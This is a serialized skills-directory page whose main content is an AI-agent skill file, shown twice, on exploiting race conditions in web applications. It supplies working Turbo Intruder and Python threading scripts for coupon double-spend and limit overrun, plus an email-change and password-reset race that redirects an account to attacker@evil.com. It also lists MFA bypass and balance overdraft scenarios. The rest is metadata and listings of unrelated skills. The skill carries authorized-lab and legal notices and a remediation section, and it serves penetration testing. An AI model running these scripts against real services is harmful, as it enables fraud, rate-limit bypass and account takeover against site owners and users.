[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71AA90J7J3FF5NEQPKEZPQF":3,"skill-same:01M71AA90J7J3FF5NEQPKEZPQF":68},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":67},"01M71AA90J7J3FF5NEQPKEZPQF","cyber-exploiting-race-condition-vulnerabilities",null,"Detect and exploit race condition vulnerabilities in web applications using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate transactions, and exploit time-of-check-to-time-of-use flaws.","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills-labgated\u002Fcyber-exploiting-race-condition-vulnerabilities\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"exploiting race condition vulnerabilities","cyber exploiting race condition vulnerabilities","vulnerabilities","condition","security","suite","rate","exploit","burp-suite","limit-overrun","limits","single-packet-attack","concurrency","toctou","turbo-intruder","subdomain","race-condition","transactions","cybersecurity","time","2026-11-10 10:12:30",false,"---\nname: cyber-exploiting-race-condition-vulnerabilities\ndescription: \"Detect and exploit race condition vulnerabilities in web applications using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate transactions, and exploit time-of-check-to-time-of-use flaws.\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: true\norigin_frontmatter: \"name: exploiting-race-condition-vulnerabilities | description: Detect and exploit race condition vulnerabilities in web applications |   using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate |   transactions, and exploit time-of-check-to-time-of-use flaws. | domain: cybersecurity | subdomain: web-application-security | tags: | - race-condition | - turbo-intruder | - toctou | - concurrency | - single-packet-attack | - limit-overrun | - burp-suite | version: '1.0' \"\nhide: true\n---\n\n> AUTHORIZED-LAB ONLY. Offensive\u002Fdual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.\n\n# Exploiting Race Condition Vulnerabilities\n\n## When to Use\n- When testing applications with transaction-based functionality (payments, transfers, coupons)\n- During assessment of rate-limiting or attempt-limiting mechanisms\n- When testing multi-step workflows (registration, password reset, MFA)\n- During bug bounty hunting for logic flaws in state-changing operations\n- When evaluating applications with inventory or balance management systems\n\n## Prerequisites\n- Burp Suite Professional with Turbo Intruder extension installed\n- Understanding of HTTP\u002F2 single-packet attack technique\n- Python scripting ability for custom Turbo Intruder scripts\n- Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities\n- Target application with state-changing operations (purchases, votes, transfers)\n- Multiple user accounts for testing cross-user race conditions\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Race Condition Attack Surface\n```\n# Common race condition targets:\n# - Coupon\u002Fdiscount code redemption (limit: 1 per user)\n# - Account balance transfers\n# - Inventory purchase (limited stock)\n# - Rate-limited operations (login attempts, SMS verification)\n# - Multi-step workflows (email change + password reset)\n# - File upload + processing pipelines\n\n# Capture the target request in Burp Suite\n# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)\n```\n\n### Step 2 — Configure Single-Packet Attack in Turbo Intruder\n```python\n# Turbo Intruder script for single-packet race condition\n# This sends all requests simultaneously in one TCP packet\n\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Queue 20 identical requests for the same operation\n    for i in range(20):\n        engine.queue(target.req, gate='race1')\n\n    # Hold all requests until ready\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 3 — Execute Limit Overrun Attack\n```python\n# Turbo Intruder script for coupon\u002Fdiscount limit bypass\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          requestsPerConnection=50,\n                          engine=Engine.BURP2)\n\n    # Send 50 coupon redemption requests simultaneously\n    for i in range(50):\n        engine.queue(target.req, gate='coupon_race')\n\n    engine.openGate('coupon_race')\n\ndef handleResponse(req, interesting):\n    # Flag successful redemptions (200 OK)\n    if req.status == 200:\n        table.add(req)\n```\n\n### Step 4 — Exploit Multi-Endpoint Race Conditions\n```python\n# Race condition between two different endpoints\n# Example: Change email + trigger password reset simultaneously\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Request 1: Change email to attacker@evil.com\n    email_change = '''POST \u002Fapi\u002Fchange-email HTTP\u002F2\nHost: target.com\nCookie: session=VALID_SESSION\nContent-Type: application\u002Fjson\n\n{\"email\":\"attacker@evil.com\"}'''\n\n    # Request 2: Trigger password reset (goes to original email)\n    password_reset = '''POST \u002Fapi\u002Freset-password HTTP\u002F2\nHost: target.com\nContent-Type: application\u002Fjson\n\n{\"email\":\"victim@target.com\"}'''\n\n    engine.queue(email_change, gate='race1')\n    engine.queue(password_reset, gate='race1')\n\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 5 — Test with Python Threading Alternative\n```python\nimport threading\nimport requests\n\nTARGET_URL = \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\"\nCOUPON_CODE = \"DISCOUNT50\"\nSESSION_COOKIE = \"session=abc123\"\n\ndef send_request():\n    response = requests.post(\n        TARGET_URL,\n        json={\"coupon\": COUPON_CODE},\n        headers={\"Cookie\": SESSION_COOKIE},\n        timeout=10\n    )\n    print(f\"Status: {response.status_code}, Response: {response.text[:100]}\")\n\n# Create barrier to synchronize thread start\nbarrier = threading.Barrier(20)\n\ndef synchronized_request():\n    barrier.wait()  # All threads wait here, then start together\n    send_request()\n\nthreads = [threading.Thread(target=synchronized_request) for _ in range(20)]\nfor t in threads:\n    t.start()\nfor t in threads:\n    t.join()\n```\n\n### Step 6 — Analyze Results and Confirm Exploitation\n```\n# In Turbo Intruder results:\n# - Sort by status code to identify successful requests\n# - Compare response lengths to find anomalies\n# - Check if more than one request succeeded (limit overrun confirmed)\n# - Verify backend state (balance, inventory, coupon count)\n\n# Document the race window timing\n# Successful race conditions typically require:\n# - HTTP\u002F2 single-packet attack: ~30 seconds to find\n# - Last-byte sync (HTTP\u002F1.1): ~2+ hours to find\n# - Thread-based approach: Variable, less reliable\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action |\n| Single-Packet Attack | Sending multiple HTTP\u002F2 requests in one TCP packet for precise synchronization |\n| Last-Byte Sync | HTTP\u002F1.1 technique holding final byte of multiple requests then releasing simultaneously |\n| Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic |\n| Hidden State Machine | Exploiting transitional states in multi-step application workflows |\n| Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously |\n| Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Turbo Intruder | Burp Suite extension for high-speed race condition exploitation |\n| Burp Suite Repeater | Group send feature for basic race condition testing |\n| Nuclei | Template-based scanner with race condition detection templates |\n| Python threading | Custom multi-threaded race condition scripts |\n| racepwn | Dedicated race condition testing framework |\n| asyncio\u002Faiohttp | Python async HTTP for concurrent request sending |\n\n## Common Scenarios\n\n1. **Coupon Double-Spend** — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used\n2. **Balance Overdraft** — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check\n3. **MFA Bypass** — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts\n4. **Inventory Manipulation** — Purchase more items than available stock by exploiting race conditions in inventory decrement logic\n5. **Account Registration Bypass** — Create multiple accounts with the same email by submitting concurrent registration requests\n\n## Output Format\n\n```\n## Race Condition Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\n- **Technique**: HTTP\u002F2 Single-Packet Attack via Turbo Intruder\n- **Concurrent Requests**: 20\n- **Successful Exploitations**: 4 out of 20\n\n### Findings\n| # | Endpoint | Operation | Expected | Actual | Severity |\n|---|----------|-----------|----------|--------|----------|\n| 1 | POST \u002Fredeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |\n| 2 | POST \u002Ftransfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |\n\n### Race Window Analysis\n- HTTP\u002F2 single-packet: Reliable exploitation in \u003C30 seconds\n- Success rate: ~20% per batch of 20 requests\n- Race window estimated: 50-100ms\n\n### Remediation\n- Implement database-level locking (SELECT FOR UPDATE) on critical operations\n- Use optimistic concurrency control with version numbers\n- Apply idempotency keys for state-changing requests\n- Implement distributed locks for multi-server environments\n```\n","> AUTHORIZED-LAB ONLY. Offensive\u002Fdual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.\n\n# Exploiting Race Condition Vulnerabilities\n\n## When to Use\n- When testing applications with transaction-based functionality (payments, transfers, coupons)\n- During assessment of rate-limiting or attempt-limiting mechanisms\n- When testing multi-step workflows (registration, password reset, MFA)\n- During bug bounty hunting for logic flaws in state-changing operations\n- When evaluating applications with inventory or balance management systems\n\n## Prerequisites\n- Burp Suite Professional with Turbo Intruder extension installed\n- Understanding of HTTP\u002F2 single-packet attack technique\n- Python scripting ability for custom Turbo Intruder scripts\n- Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities\n- Target application with state-changing operations (purchases, votes, transfers)\n- Multiple user accounts for testing cross-user race conditions\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Race Condition Attack Surface\n```\n# Common race condition targets:\n# - Coupon\u002Fdiscount code redemption (limit: 1 per user)\n# - Account balance transfers\n# - Inventory purchase (limited stock)\n# - Rate-limited operations (login attempts, SMS verification)\n# - Multi-step workflows (email change + password reset)\n# - File upload + processing pipelines\n\n# Capture the target request in Burp Suite\n# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)\n```\n\n### Step 2 — Configure Single-Packet Attack in Turbo Intruder\n```python\n# Turbo Intruder script for single-packet race condition\n# This sends all requests simultaneously in one TCP packet\n\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Queue 20 identical requests for the same operation\n    for i in range(20):\n        engine.queue(target.req, gate='race1')\n\n    # Hold all requests until ready\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 3 — Execute Limit Overrun Attack\n```python\n# Turbo Intruder script for coupon\u002Fdiscount limit bypass\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          requestsPerConnection=50,\n                          engine=Engine.BURP2)\n\n    # Send 50 coupon redemption requests simultaneously\n    for i in range(50):\n        engine.queue(target.req, gate='coupon_race')\n\n    engine.openGate('coupon_race')\n\ndef handleResponse(req, interesting):\n    # Flag successful redemptions (200 OK)\n    if req.status == 200:\n        table.add(req)\n```\n\n### Step 4 — Exploit Multi-Endpoint Race Conditions\n```python\n# Race condition between two different endpoints\n# Example: Change email + trigger password reset simultaneously\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                          concurrentConnections=1,\n                          engine=Engine.BURP2)\n\n    # Request 1: Change email to attacker@evil.com\n    email_change = '''POST \u002Fapi\u002Fchange-email HTTP\u002F2\nHost: target.com\nCookie: session=VALID_SESSION\nContent-Type: application\u002Fjson\n\n{\"email\":\"attacker@evil.com\"}'''\n\n    # Request 2: Trigger password reset (goes to original email)\n    password_reset = '''POST \u002Fapi\u002Freset-password HTTP\u002F2\nHost: target.com\nContent-Type: application\u002Fjson\n\n{\"email\":\"victim@target.com\"}'''\n\n    engine.queue(email_change, gate='race1')\n    engine.queue(password_reset, gate='race1')\n\n    engine.openGate('race1')\n\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\n### Step 5 — Test with Python Threading Alternative\n```python\nimport threading\nimport requests\n\nTARGET_URL = \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\"\nCOUPON_CODE = \"DISCOUNT50\"\nSESSION_COOKIE = \"session=abc123\"\n\ndef send_request():\n    response = requests.post(\n        TARGET_URL,\n        json={\"coupon\": COUPON_CODE},\n        headers={\"Cookie\": SESSION_COOKIE},\n        timeout=10\n    )\n    print(f\"Status: {response.status_code}, Response: {response.text[:100]}\")\n\n# Create barrier to synchronize thread start\nbarrier = threading.Barrier(20)\n\ndef synchronized_request():\n    barrier.wait()  # All threads wait here, then start together\n    send_request()\n\nthreads = [threading.Thread(target=synchronized_request) for _ in range(20)]\nfor t in threads:\n    t.start()\nfor t in threads:\n    t.join()\n```\n\n### Step 6 — Analyze Results and Confirm Exploitation\n```\n# In Turbo Intruder results:\n# - Sort by status code to identify successful requests\n# - Compare response lengths to find anomalies\n# - Check if more than one request succeeded (limit overrun confirmed)\n# - Verify backend state (balance, inventory, coupon count)\n\n# Document the race window timing\n# Successful race conditions typically require:\n# - HTTP\u002F2 single-packet attack: ~30 seconds to find\n# - Last-byte sync (HTTP\u002F1.1): ~2+ hours to find\n# - Thread-based approach: Variable, less reliable\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action |\n| Single-Packet Attack | Sending multiple HTTP\u002F2 requests in one TCP packet for precise synchronization |\n| Last-Byte Sync | HTTP\u002F1.1 technique holding final byte of multiple requests then releasing simultaneously |\n| Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic |\n| Hidden State Machine | Exploiting transitional states in multi-step application workflows |\n| Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously |\n| Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Turbo Intruder | Burp Suite extension for high-speed race condition exploitation |\n| Burp Suite Repeater | Group send feature for basic race condition testing |\n| Nuclei | Template-based scanner with race condition detection templates |\n| Python threading | Custom multi-threaded race condition scripts |\n| racepwn | Dedicated race condition testing framework |\n| asyncio\u002Faiohttp | Python async HTTP for concurrent request sending |\n\n## Common Scenarios\n\n1. **Coupon Double-Spend** — Redeem a single-use coupon multiple times by sending concurrent redemption requests before the server marks it as used\n2. **Balance Overdraft** — Transfer more money than available by sending simultaneous transfer requests that each pass the balance check\n3. **MFA Bypass** — Submit multiple MFA codes simultaneously to bypass rate limiting on verification attempts\n4. **Inventory Manipulation** — Purchase more items than available stock by exploiting race conditions in inventory decrement logic\n5. **Account Registration Bypass** — Create multiple accounts with the same email by submitting concurrent registration requests\n\n## Output Format\n\n```\n## Race Condition Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fredeem-coupon\n- **Technique**: HTTP\u002F2 Single-Packet Attack via Turbo Intruder\n- **Concurrent Requests**: 20\n- **Successful Exploitations**: 4 out of 20\n\n### Findings\n| # | Endpoint | Operation | Expected | Actual | Severity |\n|---|----------|-----------|----------|--------|----------|\n| 1 | POST \u002Fredeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |\n| 2 | POST \u002Ftransfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |\n\n### Race Window Analysis\n- HTTP\u002F2 single-packet: Reliable exploitation in \u003C30 seconds\n- Success rate: ~20% per batch of 20 requests\n- Race window estimated: 50-100ms\n\n### Remediation\n- Implement database-level locking (SELECT FOR UPDATE) on critical operations\n- Use optimistic concurrency control with version numbers\n- Apply idempotency keys for state-changing requests\n- Implement distributed locks for multi-server environments\n```\n",{"hide":44,"name":5,"source":45,"license":15,"description":7,"authorized_lab":44,"origin_frontmatter":46},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: exploiting-race-condition-vulnerabilities | description: Detect and exploit race condition vulnerabilities in web applications |   using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate |   transactions, and exploit time-of-check-to-time-of-use flaws. | domain: cybersecurity | subdomain: web-application-security | tags: | - race-condition | - turbo-intruder | - toctou | - concurrency | - single-packet-attack | - limit-overrun | - burp-suite | version: '1.0' ","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills-labgated\u002Fcyber-exploiting-race-condition-vulnerabilities",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-11 16:42:59",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":44},[57,60,63],{"tool":58,"command":59},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-exploiting-race-condition-vulnerabilities",{"tool":61,"command":62},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-exploiting-race-condition-vulnerabilities",{"tool":64,"command":65},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-exploiting-race-condition-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills-labgated\u002Fcyber-exploiting-race-condition-vulnerabilities\u002FSKILL.md",[],[69,93,117,147,176,195],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":39},"01M71CG1AME5WC0A79AE65WT0X","zoom-out","Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture.","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fzoom-out\u002FSKILL.md",[],[77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92],"zoom out","zoom","with","harness","how","section","re","true","understand","use","perspective","when","you","code","it","context",{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":39},"01M71CFY9ATD0BAXV6B14HFG7C","yuri-shura","6-perspective adversarial review for high-stakes turns (architecture decisions, refactor planning, deployment review) — fans out architect, adversary (7-vector attack), maintainer, ops, product, and security perspectives in parallel, then consolidates. Use when user says 'review this decision', '\u002Fshura', 'adversarial review', 'what could go wrong', 'architecture review', or 'deployment review'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-shura\u002FSKILL.md",[],[100,101,80,102,103,104,105,106,107,108,109,86,110,88,111,112,113,114,115,116],"yuri shura","parallel","architecture review","planning","for","deployment","vector","strategic review","decision","strategic","ops","workflow","decisions","architecture","review","perspectives","adversarial",{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":128,"publishedAt":39},"01M71CFTTYW1HA2MNX38EV1GJ5","yuri-sales-intelligence","Unified sales and outreach skill generating cold outreach openers, social selling sequences, objection rebuttals, and ad creative for any paid platform — multi-persona aware, adapting tone and offer frame to buyer type. Use when user says 'write a cold email', 'outreach sequence', 'objection handling', 'ad copy', or 'sales pitch'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-sales-intelligence\u002FSKILL.md",[123],{"categoryNo":124,"categoryName":125,"taxonomyType":126,"taxonomyTypeDesc":127},"01JBSEEDCAT000000000000005","邮件与沟通","SCENARIO","使用场景",[129,130,131,132,133,134,135,136,137,88,138,139,140,141,142,143,144,104,145,146],"intelligence","sales intelligence","yuri sales intelligence","sales","cold","paid","social","persona","pitch","cold email","ad creative","write","sequences","sequence","platform","email","cold outreach","frame",{"skillNo":148,"name":149,"nameZh":6,"description":150,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":151,"categories":152,"keywords":161,"publishedAt":39},"01M71CFQMBFTFADJNGP0Z2WCYK","yuri-code-intelligence","Unified code quality intelligence layer that diagnoses code smells (Long Method, Feature Envy, design pattern issues), prescribes targeted Fowler refactoring techniques, and reviews code for security, performance, and clarity. Use when user says 'review this code', 'refactor this', 'what's wrong with this method', 'code smells', or 'clean this up'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-code-intelligence\u002FSKILL.md",[153,156],{"categoryNo":154,"categoryName":155,"taxonomyType":126,"taxonomyTypeDesc":127},"01JBSEEDCAT000000000000007","代码审查",{"categoryNo":157,"categoryName":158,"taxonomyType":159,"taxonomyTypeDesc":160},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[162,90,163,129,80,164,165,166,104,167,168,169,170,171,172,173,174,175,86,88],"yuri code intelligence","code intelligence","reviews","code quality","feature","performance","code review","long","up","issues","clean","techniques","improve","design",{"skillNo":177,"name":178,"nameZh":6,"description":179,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":180,"categories":181,"keywords":182,"publishedAt":39},"01M71CFP32RT6GD3GKNHCJP8VP","yuri-adw","Invoke when user asks to run the ADW loop \u002F agentic engineering loop \u002F software factory workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-adw\u002FSKILL.md",[],[183,184,185,186,187,188,189,190,191,88,192,111,193,194],"yuri adw","run","engineering loop","software factory","software","agentic engineering","factory","loop","invoke","engineering","agentic","user",{"skillNo":196,"name":197,"nameZh":6,"description":198,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":73,"licenseFileUrl":6,"sourceHtmlUrl":199,"categories":200,"keywords":213,"publishedAt":39},"01M71CFK4VPEKY6A73237P7RSN","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[201,204,207,210],{"categoryNo":202,"categoryName":203,"taxonomyType":126,"taxonomyTypeDesc":127},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":205,"categoryName":206,"taxonomyType":126,"taxonomyTypeDesc":127},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":208,"categoryName":209,"taxonomyType":126,"taxonomyTypeDesc":127},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":211,"categoryName":212,"taxonomyType":159,"taxonomyTypeDesc":160},"01JBSEEDCAT000000000000036","内容创作者",[214,215,216,88,111,217,80,218,105,86,219],"writing","writing skills","new","work","editing","Existing"]